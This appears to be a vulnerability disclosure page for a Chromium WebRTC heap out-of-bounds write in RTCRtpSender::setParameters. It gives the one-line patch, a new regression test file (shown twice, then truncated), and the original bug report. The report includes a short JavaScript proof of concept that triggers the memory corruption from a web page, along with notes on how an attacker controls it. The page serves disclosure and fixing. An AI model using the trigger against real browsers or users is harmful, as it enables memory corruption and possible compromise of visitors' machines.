CVE-2026-7951
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
RTCRtpSenderthird_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.h |
modified | |
MODULES_EXPORTthird_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.h |
modified | |
FakeRTCRtpSenderPlatformthird_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc |
modified | |
EncodingsFakeRTCRtpSenderPlatformthird_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc |
modified | |
RejectingFakeRTCRtpSenderPlatformthird_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc |
modified |
Files Changed
third_party/blink/renderer/modules/BUILD.gnthird_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.ccthird_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.hthird_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc
Patch
From 6e3bbc294b0529fbe90e6026e198b72ad37d763d Mon Sep 17 00:00:00 2001
From: Johannes Kron <kron@chromium.org>
Date: Fri, 27 Mar 2026 04:59:28 -0700
Subject: [PATCH] Fix early return in RTCRtpSender::setParameters
Ensure the function returns immediately after rejecting the promise due
to an encoding options size mismatch, preventing further processing of
invalid state.
Fixed: 496266456
Change-Id: I8e09b973336751dd9c0a320e313f2e910acb2ad7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7705898
Auto-Submit: Johannes Kron <kron@chromium.org>
Commit-Queue: Johannes Kron <kron@chromium.org>
Reviewed-by: Harald Alvestrand <hta@chromium.org>
Commit-Queue: Harald Alvestrand <hta@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1606116}
---
diff --git a/third_party/blink/renderer/modules/BUILD.gn b/third_party/blink/renderer/modules/BUILD.gn
index 7e0589b..591296db 100644
--- a/third_party/blink/renderer/modules/BUILD.gn
+++ b/third_party/blink/renderer/modules/BUILD.gn
@@ -583,6 +583,7 @@
"peerconnection/rtc_rtp_receiver_impl_test.cc",
"peerconnection/rtc_rtp_script_transformer_test.cc",
"peerconnection/rtc_rtp_sender_impl_test.cc",
+ "peerconnection/rtc_rtp_sender_test.cc",
"peerconnection/rtc_rtp_transceiver_impl_test.cc",
"peerconnection/rtc_sctp_transport_test.cc",
"peerconnection/rtc_transport/rtc_received_packet_test.cc",
diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.cc b/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.cc
index 90d271f..6d7519e 100644
--- a/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.cc
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.cc
@@ -859,6 +859,7 @@
resolver->RejectWithDOMException(
DOMExceptionCode::kInvalidModificationError,
"encodingOptions size must match number of encodings.");
+ return promise;
}
for (wtf_size_t i = 0; i < encoding_options.size(); i++) {
encodings[i].request_key_frame = encoding_options[i]->keyFrame();
diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.h b/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.h
index cb7bcc8..abe6ae7 100644
--- a/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.h
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.h
@@ -15,6 +15,7 @@
#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_set_parameter_options.h"
#include "third_party/blink/renderer/core/execution_context/execution_context_lifecycle_observer.h"
#include "third_party/blink/renderer/modules/mediastream/media_stream.h"
+#include "third_party/blink/renderer/modules/modules_export.h"
#include "third_party/blink/renderer/modules/peerconnection/rtc_rtp_script_transform.h"
#include "third_party/blink/renderer/platform/bindings/script_wrappable.h"
#include "third_party/blink/renderer/platform/heap/garbage_collected.h"
@@ -54,8 +55,9 @@
const webrtc::RtpCodecParameters& codecs);
// https://w3c.github.io/webrtc-pc/#rtcrtpsender-interface
-class RTCRtpSender final : public ScriptWrappable,
- public ExecutionContextLifecycleObserver {
+class MODULES_EXPORT RTCRtpSender final
+ : public ScriptWrappable,
+ public ExecutionContextLifecycleObserver {
DEFINE_WRAPPERTYPEINFO();
public:
diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc b/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc
new file mode 100644
index 0000000..3a34a921
--- /dev/null
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc
@@ -0,0 +1,342 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.h"
+
+#include <memory>
+#include <optional>
+
+#include "base/run_loop.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/blink/public/platform/scheduler/test/renderer_scheduler_test_support.h"
+#include "third_party/blink/renderer/bindings/core/v8/script_promise_tester.h"
+#include "third_party/blink/renderer/bindings/core/v8/v8_binding_for_testing.h"
+#include "third_party/blink/renderer/bindings/core/v8/v8_dom_exception.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_configuration.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_encoding_options.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_rtp_encoding_parameters.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_rtp_send_parameters.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_set_parameter_options.h"
+#include "third_party/blink/renderer/modules/peerconnection/mock_rtc_peer_connection_handler_platform.h"
+#include "third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.h"
+#include "third_party/blink/renderer/platform/peerconnection/rtc_encoded_audio_stream_transformer.h"
+#include "third_party/blink/renderer/platform/peerconnection/rtc_encoded_video_stream_transformer.h"
+#include "third_party/blink/renderer/platform/peerconnection/rtc_rtp_sender_platform.h"
+#include "third_party/blink/renderer/platform/peerconnection/rtc_void_request.h"
+#include "third_party/blink/renderer/platform/testing/task_environment.h"
+#include "third_party/webrtc/api/rtc_error.h"
+#include "third_party/webrtc/api/rtp_parameters.h"
+
+namespace blink {
+
+namespace {
+
+class FakeRTCRtpSenderPlatform : public RTCRtpSenderPlatform {
+ public:
+ FakeRTCRtpSenderPlatform()
+ : audio_transformer_(std::make_unique<RTCEncodedAudioStreamTransformer>(
+ blink::scheduler::GetSingleThreadTaskRunnerForTesting())),
+ video_transformer_(std::make_unique<RTCEncodedVideoStreamTransformer>(
+ blink::scheduler::GetSingleThreadTaskRunnerForTesting(),
+ /*metronome=*/nullptr)) {}
+ ~FakeRTCRtpSenderPlatform() override = default;
+
+ std::unique_ptr<RTCRtpSenderPlatform> ShallowCopy() const override {
+ return nullptr;
+ }
+
+ uintptr_t Id() const override { return 1; }
+ webrtc::scoped_refptr<webrtc::DtlsTransportInterface> DtlsTransport()
+ override {
+ return nullptr;
+ }
+ webrtc::DtlsTransportInformation DtlsTransportInformation() override {
+ return webrtc::DtlsTransportInformation(webrtc::DtlsTransportState::kNew);
+ }
+ MediaStreamComponent* Track() const override { return nullptr; }
+ Vector<String> StreamIds() const override { return {}; }
+ void ReplaceTrack(MediaStreamComponent*, RTCVoidRequest*) override {}
+ std::unique_ptr<RtcDtmfSenderHandler> GetDtmfSender() const override {
+ return nullptr;
+ }
+
+ std::unique_ptr<webrtc::RtpParameters> GetParameters() const override {
+ auto parameters = std::make_unique<webrtc::RtpParameters>();
+ parameters->transaction_id = "1234";
+ return parameters;
+ }
+
+ void SetParameters(Vector<webrtc::RtpEncodingParameters>,
+ std::optional<webrtc::DegradationPreference>,
+ RTCVoidRequest* request) override {
+ set_parameters_called_ = true;
+ request->RequestSucceeded();
+ }
+
+ void GetStats(RTCStatsReportCallback) override {}
+ void SetStreams(const Vector<String>& stream_ids) override {}
+ RTCEncodedAudioStreamTransformer* GetEncodedAudioStreamTransformer()
+ const override {
+ return audio_transformer_.get();
+ }
+ RTCEncodedVideoStreamTransformer* GetEncodedVideoStreamTransformer()
+ const override {
+ return video_transformer_.get();
+ }
+
+ bool set_parameters_called_ = false;
+
+ private:
+ std::unique_ptr<RTCEncodedAudioStreamTransformer> audio_transformer_;
+ std::unique_ptr<RTCEncodedVideoStreamTransformer> video_transformer_;
+};
+
+// Simulates a native layer that successfully returns an active encoding.
+// It also tracks the encodings passed to SetParameters to verify mutations.
+class EncodingsFakeRTCRtpSenderPlatform : public FakeRTCRtpSenderPlatform {
+ public:
+ std::unique_ptr<webrtc::RtpParameters> GetParameters() const override {
+ auto parameters = std::make_unique<webrtc::RtpParameters>();
+ parameters->transaction_id = "1234";
+ // Add one encoding to test size matching and key_frame mapping.
+ parameters->encodings.emplace_back();
+ return parameters;
+ }
+
+ void SetParameters(
+ Vector<webrtc::RtpEncodingParameters> encodings,
+ std::optional<webrtc::DegradationPreference> degradation_preference,
+ RTCVoidRequest* request) override {
+ set_parameters_called_ = true;
+ last_encodings_ = encodings;
+ request->RequestSucceeded();
+ }
+
+ Vector<webrtc::RtpEncodingParameters> last_encodings_;
+};
+
+// Simulates a failure at the lower WebRTC native layer.
+class RejectingFakeRTCRtpSenderPlatform : public FakeRTCRtpSenderPlatform {
+ public:
+ void SetParameters(Vector<webrtc::RtpEncodingParameters>,
+ std::optional<webrtc::DegradationPreference>,
+ RTCVoidRequest* request) override {
+ set_parameters_called_ = true;
+ request->RequestFailed(webrtc::RTCError(
+ webrtc::RTCErrorType::UNSUPPORTED_PARAMETER, "Native layer rejected"));
Regression Test / PoC
diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc b/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc
new file mode 100644
index 0000000..3a34a921
--- /dev/null
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender_test.cc
@@ -0,0 +1,342 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.h"
+
+#include <memory>
+#include <optional>
+
+#include "base/run_loop.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/blink/public/platform/scheduler/test/renderer_scheduler_test_support.h"
+#include "third_party/blink/renderer/bindings/core/v8/script_promise_tester.h"
+#include "third_party/blink/renderer/bindings/core/v8/v8_binding_for_testing.h"
+#include "third_party/blink/renderer/bindings/core/v8/v8_dom_exception.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_configuration.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_encoding_options.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_rtp_encoding_parameters.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_rtp_send_parameters.h"
+#include "third_party/blink/renderer/bindings/modules/v8/v8_rtc_set_parameter_options.h"
+#include "third_party/blink/renderer/modules/peerconnection/mock_rtc_peer_connection_handler_platform.h"
+#include "third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.h"
+#include "third_party/blink/renderer/platform/peerconnection/rtc_encoded_audio_stream_transformer.h"
+#include "third_party/blink/renderer/platform/peerconnection/rtc_encoded_video_stream_transformer.h"
+#include "third_party/blink/renderer/platform/peerconnection/rtc_rtp_sender_platform.h"
+#include "third_party/blink/renderer/platform/peerconnection/rtc_void_request.h"
+#include "third_party/blink/renderer/platform/testing/task_environment.h"
+#include "third_party/webrtc/api/rtc_error.h"
+#include "third_party/webrtc/api/rtp_parameters.h"
+
+namespace blink {
+
+namespace {
+
+class FakeRTCRtpSenderPlatform : public RTCRtpSenderPlatform {
+ public:
+ FakeRTCRtpSenderPlatform()
+ : audio_transformer_(std::make_unique<RTCEncodedAudioStreamTransformer>(
+ blink::scheduler::GetSingleThreadTaskRunnerForTesting())),
+ video_transformer_(std::make_unique<RTCEncodedVideoStreamTransformer>(
+ blink::scheduler::GetSingleThreadTaskRunnerForTesting(),
+ /*metronome=*/nullptr)) {}
+ ~FakeRTCRtpSenderPlatform() override = default;
+
+ std::unique_ptr<RTCRtpSenderPlatform> ShallowCopy() const override {
+ return nullptr;
+ }
+
+ uintptr_t Id() const override { return 1; }
+ webrtc::scoped_refptr<webrtc::DtlsTransportInterface> DtlsTransport()
+ override {
+ return nullptr;
+ }
+ webrtc::DtlsTransportInformation DtlsTransportInformation() override {
+ return webrtc::DtlsTransportInformation(webrtc::DtlsTransportState::kNew);
+ }
+ MediaStreamComponent* Track() const override { return nullptr; }
+ Vector<String> StreamIds() const override { return {}; }
+ void ReplaceTrack(MediaStreamComponent*, RTCVoidRequest*) override {}
+ std::unique_ptr<RtcDtmfSenderHandler> GetDtmfSender() const override {
+ return nullptr;
+ }
+
+ std::unique_ptr<webrtc::RtpParameters> GetParameters() const override {
+ auto parameters = std::make_unique<webrtc::RtpParameters>();
+ parameters->transaction_id = "1234";
+ return parameters;
+ }
+
+ void SetParameters(Vector<webrtc::RtpEncodingParameters>,
+ std::optional<webrtc::DegradationPreference>,
+ RTCVoidRequest* request) override {
+ set_parameters_called_ = true;
+ request->RequestSucceeded();
+ }
+
+ void GetStats(RTCStatsReportCallback) override {}
+ void SetStreams(const Vector<String>& stream_ids) override {}
+ RTCEncodedAudioStreamTransformer* GetEncodedAudioStreamTransformer()
+ const override {
+ return audio_transformer_.get();
+ }
+ RTCEncodedVideoStreamTransformer* GetEncodedVideoStreamTransformer()
+ const override {
+ return video_transformer_.get();
+ }
+
+ bool set_parameters_called_ = false;
+
+ private:
+ std::unique_ptr<RTCEncodedAudioStreamTransformer> audio_transformer_;
+ std::unique_ptr<RTCEncodedVideoStreamTransformer> video_transformer_;
+};
+
+// Simulates a native layer that successfully returns an active encoding.
+// It also tracks the encodings passed to SetParameters to verify mutations.
+class EncodingsFakeRTCRtpSenderPlatform : public FakeRTCRtpSenderPlatform {
+ public:
+ std::unique_ptr<webrtc::RtpParameters> GetParameters() const override {
+ auto parameters = std::make_unique<webrtc::RtpParameters>();
+ parameters->transaction_id = "1234";
+ // Add one encoding to test size matching and key_frame mapping.
+ parameters->encodings.emplace_back();
+ return parameters;
+ }
+
+ void SetParameters(
+ Vector<webrtc::RtpEncodingParameters> encodings,
+ std::optional<webrtc::DegradationPreference> degradation_preference,
+ RTCVoidRequest* request) override {
+ set_parameters_called_ = true;
+ last_encodings_ = encodings;
+ request->RequestSucceeded();
+ }
+
+ Vector<webrtc::RtpEncodingParameters> last_encodings_;
+};
+
+// Simulates a failure at the lower WebRTC native layer.
+class RejectingFakeRTCRtpSenderPlatform : public FakeRTCRtpSenderPlatform {
+ public:
+ void SetParameters(Vector<webrtc::RtpEncodingParameters>,
+ std::optional<webrtc::DegradationPreference>,
+ RTCVoidRequest* request) override {
+ set_parameters_called_ = true;
+ request->RequestFailed(webrtc::RTCError(
+ webrtc::RTCErrorType::UNSUPPORTED_PARAMETER, "Native layer rejected"));
+ }
+};
+
+class RTCRtpSenderTest : public testing::Test {
+ public:
+ RTCRtpSenderTest() = default;
+
+ RTCPeerConnection* CreatePC(V8TestingScope& scope) {
+ RTCPeerConnection::SetRtcPeerConnectionHandlerFactoryForTesting(
+ base::BindRepeating([]() -> std::unique_ptr<RTCPeerConnectionHandler> {
+ return std::make_unique<MockRTCPeerConnectionHandlerPlatform>();
+ }));
+ return RTCPeerConnection::Create(scope.GetExecutionContext(),
+ RTCConfiguration::Create(),
+ scope.GetExceptionState());
+ }
+
+ RTCRtpSender* CreateSender(
+ RTCPeerConnection* pc,
+ std::unique_ptr<RTCRtpSenderPlatform> platform = nullptr) {
+ if (!platform) {
+ platform = std::make_unique<FakeRTCRtpSenderPlatform>();
+ }
+ return MakeGarbageCollected<RTCRtpSender>(
+ pc, std::move(platform), "video", nullptr, MediaStreamVector(), false,
+ blink::scheduler::GetSingleThreadTaskRunnerForTesting());
+ }
+
+ protected:
+ test::TaskEnvironment task_environment_;
+};
+
+} // namespace
+
+TEST_F(RTCRtpSenderTest, SetParametersSucceeds) {
+ V8TestingScope scope;
+ RTCPeerConnection* pc = CreatePC(scope);
+ ASSERT_TRUE(pc);
+
+ auto platform = std::make_unique<FakeRTCRtpSenderPlatform>();
+ auto* platform_ptr = platform.get();
+ auto* sender = CreateSender(pc, std::move(platform));
+
+ auto* parameters = sender->getParameters();
+
+ auto* options = RTCSetParameterOptions::Create();
+ auto promise = sender->setParameters(scope.GetScriptState(), parameters,
+ options, scope.GetExceptionState());
+
+ ScriptPromiseTester tester(scope.GetScriptState(), promise);
+ tester.WaitUntilSettled();
+ EXPECT_TRUE(tester.IsFulfilled());
+
+ // Verify native layer was called.
+ EXPECT_TRUE(platform_ptr->set_parameters_called_);
+}
+
+TEST_F(RTCRtpSenderTest, SetParametersWithoutGetParametersFails) {
+ V8TestingScope scope;
+ RTCPeerConnection* pc = CreatePC(scope);
+ ASSERT_TRUE(pc);
+
+ auto platform = std::make_unique<FakeRTCRtpSenderPlatform>();
+ auto* platform_ptr = platform.get();
+ auto* sender = CreateSender(pc, std::move(platform));
+
+ auto* parameters = RTCRtpSendParameters::Create();
+ auto* options = RTCSetParameterOptions::Create();
+ auto promise = sender->setParameters(scope.GetScriptState(), parameters,
+ options, scope.GetExceptionState());
+
+ ScriptPromiseTester tester(scope.GetScriptState(), promise);
+ tester.WaitUntilSettled();
+ EXPECT_TRUE(tester.IsRejected());
+
+ // Verify native layer was never reached.
+ EXPECT_FALSE(platform_ptr->set_parameters_called_);
+
+ DOMException* exception =
+ V8DOMException::ToWrappable(scope.GetIsolate(), tester.Value().V8Value());
+ ASSERT_TRUE(exception);
+ EXPECT_EQ(exception->name(), "InvalidStateError");
+}
+
+TEST_F(RTCRtpSenderTest, SetParametersWithModifiedTransactionIdFails) {
+ V8TestingScope scope;
+ RTCPeerConnection* pc = CreatePC(scope);
+ ASSERT_TRUE(pc);
+
+ auto platform = std::make_unique<FakeRTCRtpSenderPlatform>();
+ auto* platform_ptr = platform.get();
+ auto* sender = CreateSender(pc, std::move(platform));
+
+ auto* parameters = sender->getParameters();
+ // Call getParameters() again to overwrite last_returned_parameters_,
+ // so that the modified `parameters` won't be identical to the saved state.
+ sender->getParameters();
+
+ parameters->setTransactionId("modified");
+
+ auto* options = RTCSetParameterOptions::Create();
+ auto promise = sender->setParameters(scope.GetScriptState(), parameters,
+ options, scope.GetExceptionState());
+
+ ScriptPromiseTester tester(scope.GetScriptState(), promise);
+ tester.WaitUntilSettled();
+ EXPECT_TRUE(tester.IsRejected());
+
+ // Verify native layer was never reached.
+ EXPECT_FALSE(platform_ptr->set_parameters_called_);
+
+ DOMException* exception =
+ V8DOMException::ToWrappable(scope.GetIsolate(), tester.Value().V8Value());
+ ASSERT_TRUE(exception);
+ EXPECT_EQ(exception->name(), "InvalidModificationError");
+}
+
+TEST_F(RTCRtpSenderTest, SetParametersWithMismatchedEncodingOptionsFails) {
+ V8TestingScope scope;
+ RTCPeerConnection* pc = CreatePC(scope);
+ ASSERT_TRUE(pc);
+
+ auto platform = std::make_unique<EncodingsFakeRTCRtpSenderPlatform>();
+ auto* platform_ptr = platform.get();
+ auto* sender = CreateSender(pc, std::move(platform));
+
+ auto* parameters = sender->getParameters();
+
+ // Provide 2 encoding options to force a mismatch with the 1 encoding.
+ auto* options = RTCSetParameterOptions::Create();
+ HeapVector<Member<RTCEncodingOptions>> encoding_options;
+ encoding_options.push_back(RTCEncodingOptions::Create());
+ encoding_options.push_back(RTCEncodingOptions::Create());
+ options->setEncodingOptions(encoding_options);
+
+ auto promise = sender->setParameters(scope.GetScriptState(), parameters,
+ options, scope.GetExceptionState());
+
+ ScriptPromiseTester tester(scope.GetScriptState(), promise);
+ tester.WaitUntilSettled();
+ EXPECT_TRUE(tester.IsRejected());
+
+ // Verify native layer was never reached.
+ EXPECT_FALSE(platform_ptr->set_parameters_called_);
+
+ DOMException* exception =
+ V8DOMException::ToWrappable(scope.GetIsolate(), tester.Value().V8Value());
+ ASSERT_TRUE(exception);
+ EXPECT_EQ(exception->name(), "InvalidModificationError");
+}
+
+TEST_F(RTCRtpSenderTest, SetParametersAppliesEncodingOptionsKeyFrame) {
+ V8TestingScope scope;
+ RTCPeerConnection* pc = CreatePC(scope);
+ ASSERT_TRUE(pc);
+
+ auto platform = std::make_unique<EncodingsFakeRTCRtpSenderPlatform>();
+ auto* platform_ptr = platform.get();
+ auto* sender = CreateSender(pc, std::move(platform));
+
+ auto* parameters = sender->getParameters();
+
+ // Provide 1 encoding option to match the 1 encoding, setting keyFrame to
+ // true.
+ auto* options = RTCSetParameterOptions::Create();
+ HeapVector<Member<RTCEncodingOptions>> encoding_options;
+ auto* encoding_option = RTCEncodingOptions::Create();
... (truncated)
Original Bug Report
Heap Out-of-Bounds Write in RTCRtpSender::setParameters
A missing return after RejectWithDOMException in RTCRtpSender::setParameters() allows a heap out-of-bounds write when encodingOptions.size() > encodings.size(). The loop at line 863 is bounded by encoding_options.size() but writes into encodings[], which can be smaller or empty.
Affected Component
Blink > WebRTC > RTCRtpSender
Heap out-of-bounds write reachable from any web page via the standard WebRTC JavaScript API. No user interaction required beyond visiting the page.
Bug Details
File: third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.cc
Function: RTCRtpSender::setParameters()
Lines: 858–865
// Line 855-866:
const auto& encoding_options = options->encodingOptions();
if (!encoding_options.empty()) {
if (encoding_options.size() != encodings.size()) {
resolver->RejectWithDOMException(
DOMExceptionCode::kInvalidModificationError,
"encodingOptions size must match number of encodings.");
// BUG: Missing return here — execution falls through
}
for (wtf_size_t i = 0; i < encoding_options.size(); i++) {
encodings[i].request_key_frame = encoding_options[i]->keyFrame();
// ^^^ OOB write when encoding_options.size() > encodings.size()
}
}
The size mismatch is detected at line 858 and an exception is thrown at line 859, but the code does NOT return. The for-loop at line 863 then iterates encoding_options.size() times, writing into encodings[i]. When encoding_options has more elements than encodings, this writes past the end of the Vector<webrtc::RtpEncodingParameters> heap buffer.
Proof of Concept
const pc = new RTCPeerConnection();
const stream = await navigator.mediaDevices.getUserMedia({audio: true});
const sender = pc.addTrack(stream.getAudioTracks()[0]);
const params = sender.getParameters();
// Set encodings to empty (0 elements)
params.encodings = [];
// Call setParameters with 3 encoding options but 0 encodings
// This triggers the OOB write: loop writes encodings[0], [1], [2]
// past the end of the empty encodings vector
try {
await sender.setParameters(params, {
encodingOptions: [
{keyFrame: true},
{keyFrame: true},
{keyFrame: true}
]
});
} catch(e) {
// Exception is thrown but OOB write already happened
}
Impact
-
Heap OOB write:
encodings[i].request_key_frame = ...writes aboolat offseti * sizeof(webrtc::RtpEncodingParameters)past the end of theencodingsvector.webrtc::RtpEncodingParametersis a large struct (~200+ bytes), so each iteration corrupts a significant chunk of adjacent heap memory. -
Attacker controls iteration count: The number of OOB writes equals
encoding_options.size(), which is fully controlled by the attacker’s JavaScript. -
Corrupted data used downstream: After the OOB writes, the corrupted
encodingsvector is passed tosender_->SetParameters()at line 869, which forwards it to the WebRTC native layer. The corrupted struct fields may cause further memory corruption or unexpected behavior in the WebRTC stack. -
No special permissions required: The WebRTC API (
RTCPeerConnection,addTrack,setParameters) is available to any web page.getUserMediarequires user permission for the initial track, butaddTrackwith anyMediaStreamTrack(including fromcreateMediaStreamDestination()in WebAudio, which requires no permission) is sufficient.
Root Cause
Copy-paste error: the error handling at line 858-861 follows the pattern of other checks in the same function (e.g., line 827 HasInvalidModification check), but those other checks all have return promise; after the rejection. This one was missed.
Suggested Fix
Add return promise; after the RejectWithDOMException call:
if (encoding_options.size() != encodings.size()) {
resolver->RejectWithDOMException(
DOMExceptionCode::kInvalidModificationError,
"encodingOptions size must match number of encodings.");
return promise; // <-- ADD THIS
}
Version
Tested on Chromium 147.0.7721.0 (current ToT).